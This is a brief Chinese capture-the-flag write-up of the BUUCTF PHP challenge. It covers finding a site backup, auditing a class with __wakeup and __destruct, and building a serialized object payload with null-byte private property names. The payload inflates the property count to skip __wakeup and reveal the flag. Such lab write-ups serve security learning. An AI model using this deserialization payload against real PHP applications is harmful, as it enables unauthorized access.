buuctf-PHP

看题目说备份网站，扫一下看看
把文件下载下来

一些源码

这里的unserialize涉及到一个反序列化
接着看class.php

<?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "NO!!!hacker!!!"; echo "You name is: "; echo $this->username;echo ""; echo "You password is: "; echo $this->password;echo ""; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "hello my friend~~sorry i can't give you the flag!"; die(); } } } ?>

审计代码
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__sleep() 在对象在被序列化之前运行
__wakeup()将在序列化之后立即被调用 （在反序列化前被调用）
首先自己先写一个序列化
对象:对象名长度:“对象名称”:对象成员个数:{s字符串:名称长度:“名称”;}
可得到正确的username,password的序列化,还得注意username和password是private属性
private属性序列化:%00类名%00成员名
protect属性序列化:%00*%00成员名
依次构造payload
O:4:“Name”:2:{s:14:"%00Name%00username";s:5:“admin”;s:14:"%00Name%00password";i:100;}
这里要将name的值改为3，就可以绕过wakeup